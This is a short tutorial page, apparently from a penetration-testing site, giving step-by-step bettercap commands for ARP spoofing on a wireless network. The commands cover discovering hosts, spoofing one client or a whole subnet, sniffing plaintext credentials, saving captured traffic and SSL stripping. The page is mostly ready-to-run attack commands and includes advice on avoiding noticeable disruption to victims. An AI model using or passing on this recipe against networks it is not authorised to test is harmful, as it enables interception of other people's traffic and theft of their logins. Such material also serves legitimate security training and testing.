Skip to content
HackIndex logo

HackIndex

ARP Spoofing and Traffic Interception with Bettercap

2 min read Mar 17, 2026

Once connected to a wireless network — whether through legitimate credentials, a recovered PSK, or via an evil twin — ARP spoofing positions your machine as the gateway for other clients on the same segment. Traffic from targeted clients flows through your machine before reaching the real gateway, enabling passive interception of all plaintext protocols and active manipulation of unencrypted sessions. This works on both open networks and networks where you have the PSK.

Connect to the target network with managed mode before starting bettercap. This attack runs from a connected client interface, not a monitor mode interface.

Connect to the Target Network

┌──(kali㉿kali)-[~]
└─$ nmcli dev wifi connect "TargetNetwork" password "recoveredpassword"

Start bettercap and Probe the Network

┌──(kali㉿kali)-[~]
└─$ bettercap -iface wlan0
192.168.1.0/24 > 192.168.1.2 » net.probe on
192.168.1.0/24 > 192.168.1.2 » net.show

net.probe on sends ARP and mDNS probes to discover all active hosts on the subnet. net.show lists discovered hosts with IP, MAC, vendor, and hostname. Identify the gateway IP and the target client IPs before starting the spoof.

Enable ARP Spoofing

Target a specific client or the entire subnet. To target a specific client and the gateway:

192.168.1.0/24 > 192.168.1.2 » set arp.spoof.targets 192.168.1.25
192.168.1.0/24 > 192.168.1.2 » arp.spoof on

To target all clients on the subnet:

192.168.1.0/24 > 192.168.1.2 » set arp.spoof.targets 192.168.1.0/24
192.168.1.0/24 > 192.168.1.2 » arp.spoof on

Enable IP forwarding so intercepted traffic still reaches the gateway — without this the targets lose internet connectivity which is noisy:

192.168.1.0/24 > 192.168.1.2 » set arp.spoof.internal true
192.168.1.0/24 > 192.168.1.2 » net.sniff on

Capture Credentials with net.sniff

net.sniff on captures and displays credentials from plaintext protocols including HTTP, FTP, SMTP, and others automatically. bettercap parses and highlights credential-bearing packets in the output.

To write all captured traffic to a pcap file for later analysis:

192.168.1.0/24 > 192.168.1.2 » set net.sniff.output /tmp/bettercap-capture.pcap
192.168.1.0/24 > 192.168.1.2 » net.sniff on

HTTP Proxy for SSL Stripping

To downgrade HTTPS connections to HTTP where possible, enable the HTTP proxy with SSL stripping:

192.168.1.0/24 > 192.168.1.2 » set http.proxy.sslstrip true
192.168.1.0/24 > 192.168.1.2 » http.proxy on

SSL stripping success depends on whether the target site uses HSTS preloading. Sites with HSTS enforce HTTPS at the browser level and cannot be stripped. Sites without HSTS or with short max-age values are candidates for downgrade.

Stop the Attack

Stop ARP spoofing cleanly to restore normal ARP tables on targeted clients:

192.168.1.0/24 > 192.168.1.2 » arp.spoof off
192.168.1.0/24 > 192.168.1.2 » net.sniff off

References